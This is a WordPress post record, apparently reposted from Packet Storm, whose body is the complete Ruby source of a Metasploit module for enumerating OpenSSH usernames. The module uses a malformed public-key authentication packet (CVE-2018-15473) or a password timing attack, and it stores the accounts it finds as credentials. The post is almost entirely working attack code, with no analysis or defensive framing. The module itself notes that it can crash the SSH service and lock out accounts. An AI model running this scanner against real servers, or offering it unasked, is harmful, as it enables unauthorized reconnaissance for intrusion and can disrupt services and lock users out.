{"id":59366,"date":"2024-09-01T21:29:49","date_gmt":"2024-09-01T18:29:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181223\/ssh_enumusers.rb.txt"},"modified":"2024-09-01T21:29:49","modified_gmt":"2024-09-01T18:29:49","slug":"ssh-username-enumeration","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ssh-username-enumeration\/","title":{"rendered":"SSH Username Enumeration"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::SSH<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;SSH Username Enumeration&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module uses a malformed packet or timing attack to enumerate users on<br \/>an OpenSSH server.<\/p>\n<p>The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST<br \/>packet using public key authentication (must be enabled) to enumerate users.<\/p>\n<p>On some versions of OpenSSH under some configurations, OpenSSH will return a<br \/>&#8220;permission denied&#8221; error for an invalid user faster than for a valid user,<br \/>creating an opportunity for a timing attack to enumerate users.<\/p>\n<p>Testing note: invalid users were logged, while valid users were not. YMMV.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;kenkeiras&#8217;, # Timing attack<br \/>&#8216;Dariusz Tytko&#8217;, # Malformed packet<br \/>&#8216;Michal Sajdak&#8217;, # Malformed packet<br \/>&#8216;Qualys&#8217;, # Malformed packet<br \/>&#8216;wvu&#8217; # Malformed packet<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2003-0190&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2006-5229&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2016-6210&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2018-15473&#8217;],<br \/>[&#8216;OSVDB&#8217;, &#8216;32721&#8217;],<br \/>[&#8216;BID&#8217;, &#8216;20418&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/oss-sec\/2018\/q3\/124&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/sekurak.pl\/openssh-users-enumeration-cve-2018-15473\/&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[<br \/>&#8216;Malformed Packet&#8217;,<br \/>{<br \/>&#8216;Description&#8217; =&gt; &#8216;Use a malformed packet&#8217;,<br \/>&#8216;Type&#8217; =&gt; :malformed_packet<br \/>}<br \/>],<br \/>[<br \/>&#8216;Timing Attack&#8217;,<br \/>{<br \/>&#8216;Description&#8217; =&gt; &#8216;Use a timing attack&#8217;,<br \/>&#8216;Type&#8217; =&gt; :timing_attack<br \/>}<br \/>]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;Malformed Packet&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [<br \/>CRASH_SERVICE_DOWN # possible that a malformed packet may crash the service<br \/>],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; [<br \/>IOC_IN_LOGS,<br \/>ACCOUNT_LOCKOUTS, # timing attack submits a password<br \/>]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::Proxies,<br \/>Opt::RPORT(22),<br \/>OptString.new(&#8216;USERNAME&#8217;,<br \/>[false, &#8216;Single username to test (username spray)&#8217;]),<br \/>OptPath.new(&#8216;USER_FILE&#8217;,<br \/>[false, &#8216;File containing usernames, one per line&#8217;]),<br \/>OptBool.new(&#8216;DB_ALL_USERS&#8217;,<br \/>[false, &#8216;Add all users in the current database to the list&#8217;, false]),<br \/>OptInt.new(&#8216;THRESHOLD&#8217;,<br \/>[<br \/>true,<br \/>&#8216;Amount of seconds needed before a user is considered &#8216; \\<br \/>&#8216;found (timing attack only)&#8217;, 10<br \/>]),<br \/>OptBool.new(&#8216;CHECK_FALSE&#8217;,<br \/>[false, &#8216;Check for false positives (random username)&#8217;, true])<br \/>])<\/p>\n<p>register_advanced_options(<br \/>[<br \/>OptInt.new(&#8216;RETRY_NUM&#8217;,<br \/>[<br \/>true, &#8216;The number of attempts to connect to a SSH server&#8217; \\<br \/>&#8216; for each user&#8217;, 3<br \/>]),<br \/>OptInt.new(&#8216;SSH_TIMEOUT&#8217;,<br \/>[<br \/>false, &#8216;Specify the maximum time to negotiate a SSH session&#8217;,<br \/>10<br \/>]),<br \/>OptBool.new(&#8216;SSH_DEBUG&#8217;,<br \/>[<br \/>false, &#8216;Enable SSH debugging output (Extreme verbosity!)&#8217;,<br \/>false<br \/>])<br \/>])<br \/>end<\/p>\n<p>def rport<br \/>datastore[&#8216;RPORT&#8217;]end<\/p>\n<p>def retry_num<br \/>datastore[&#8216;RETRY_NUM&#8217;]end<\/p>\n<p>def threshold<br \/>datastore[&#8216;THRESHOLD&#8217;]end<\/p>\n<p># Returns true if a nonsense username appears active.<br \/>def check_false_positive(ip)<br \/>user = Rex::Text.rand_text_alphanumeric(8..32)<br \/>attempt_user(user, ip) == :success<br \/>end<\/p>\n<p>def check_user(ip, user, port)<br \/>technique = action[&#8216;Type&#8217;]\n<p>opts = ssh_client_defaults.merge({<br \/>port: port<br \/>})<\/p>\n<p># The auth method is converted into a class name for instantiation,<br \/># so malformed-packet here becomes MalformedPacket from the mixin<br \/>case technique<br \/>when :malformed_packet<br \/>opts.merge!(auth_methods: [&#8216;malformed-packet&#8217;])<br \/>when :timing_attack<br \/>opts.merge!(<br \/>auth_methods: [&#8216;password&#8217;, &#8216;keyboard-interactive&#8217;],<br \/>password: rand_pass<br \/>)<br \/>end<\/p>\n<p>opts.merge!(verbose: :debug) if datastore[&#8216;SSH_DEBUG&#8217;]\n<p>start_time = Time.new<\/p>\n<p>begin<br \/>ssh = Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do<br \/>Net::SSH.start(ip, user, opts)<br \/>end<br \/>rescue Rex::ConnectionError<br \/>return :connection_error<br \/>rescue Timeout::Error<br \/>return :success if technique == :timing_attack<br \/>rescue Net::SSH::AuthenticationFailed<br \/>return :fail if technique == :malformed_packet<br \/>rescue Net::SSH::Exception =&gt; e<br \/>vprint_error(&#8220;#{e.class}: #{e.message}&#8221;)<br \/>end<\/p>\n<p>finish_time = Time.new<\/p>\n<p>case technique<br \/>when :malformed_packet<br \/>return :success if ssh<br \/>when :timing_attack<br \/>return :success if (finish_time &#8211; start_time &gt; threshold)<br \/>end<\/p>\n<p>:fail<br \/>end<\/p>\n<p>def rand_pass<br \/>Rex::Text.rand_text_english(64_000..65_000)<br \/>end<\/p>\n<p>def do_report(ip, user, _port)<br \/>service_data = {<br \/>address: ip,<br \/>port: rport,<br \/>service_name: &#8216;ssh&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: user<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p># Because this isn&#8217;t using the AuthBrute mixin, we don&#8217;t have the<br \/># usual peer method<br \/>def peer(rhost = nil)<br \/>&#8220;#{rhost}:#{rport} &#8211; SSH -&#8220;<br \/>end<\/p>\n<p>def user_list<br \/>users = []\n<p>users &lt;&lt; datastore[&#8216;USERNAME&#8217;] unless datastore[&#8216;USERNAME&#8217;].blank?<\/p>\n<p>if datastore[&#8216;USER_FILE&#8217;]fail_with(Failure::BadConfig, &#8216;The USER_FILE is not readable&#8217;) unless File.readable?(datastore[&#8216;USER_FILE&#8217;])<br \/>users += File.read(datastore[&#8216;USER_FILE&#8217;]).split<br \/>end<\/p>\n<p>if datastore[&#8216;DB_ALL_USERS&#8217;]if framework.db.active<br \/>framework.db.creds(workspace: myworkspace.name).each do |o|<br \/>users &lt;&lt; o.public.username if o.public<br \/>end<br \/>else<br \/>print_warning(&#8216;No active DB &#8212; The following option will be ignored: DB_ALL_USERS&#8217;)<br \/>end<br \/>end<\/p>\n<p>users.uniq<br \/>end<\/p>\n<p>def attempt_user(user, ip)<br \/>attempt_num = 0<br \/>ret = nil<\/p>\n<p>while (attempt_num &lt;= retry_num) &amp;&amp; (ret.nil? || (ret == :connection_error))<br \/>if attempt_num &gt; 0<br \/>Rex.sleep(2**attempt_num)<br \/>vprint_status(&#8220;#{peer(ip)} Retrying &#8216;#{user}&#8217; due to connection error&#8221;)<br \/>end<\/p>\n<p>ret = check_user(ip, user, rport)<br \/>attempt_num += 1<br \/>end<\/p>\n<p>ret<br \/>end<\/p>\n<p>def show_result(attempt_result, user, ip)<br \/>case attempt_result<br \/>when :success<br \/>print_good(&#8220;#{peer(ip)} User &#8216;#{user}&#8217; found&#8221;)<br \/>do_report(ip, user, rport)<br \/>when :connection_error<br \/>vprint_error(&#8220;#{peer(ip)} User &#8216;#{user}&#8217; could not connect&#8221;)<br \/>when :fail<br \/>vprint_error(&#8220;#{peer(ip)} User &#8216;#{user}&#8217; not found&#8221;)<br \/>end<br \/>end<\/p>\n<p>def run<br \/>if user_list.empty?<br \/>fail_with(Failure::BadConfig, &#8216;Please populate DB_ALL_USERS, USER_FILE, USERNAME&#8217;)<br \/>end<\/p>\n<p>super<br \/>end<\/p>\n<p>def run_host(ip)<br \/>print_status(&#8220;#{peer(ip)} Using #{action.name.downcase} technique&#8221;)<\/p>\n<p>if datastore[&#8216;CHECK_FALSE&#8217;]print_status(&#8220;#{peer(ip)} Checking for false positives&#8221;)<br \/>if check_false_positive(ip)<br \/>print_error(&#8220;#{peer(ip)} throws false positive results. Aborting.&#8221;)<br \/>return<br \/>end<br \/>end<\/p>\n<p>users = user_list<\/p>\n<p>print_status(&#8220;#{peer(ip)} Starting scan&#8221;)<br \/>users.each { |user| show_result(attempt_user(user, ip), user, ip) }<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::SSHinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;SSH Username Enumeration&#8217;,&#8216;Description&#8217; =&gt; %q{This module uses a malformed packet or timing attack to enumerate users onan OpenSSH server. The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUESTpacket using public key authentication (must be enabled) &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59366","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59366","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59366"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59366\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59366"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59366"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59366"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}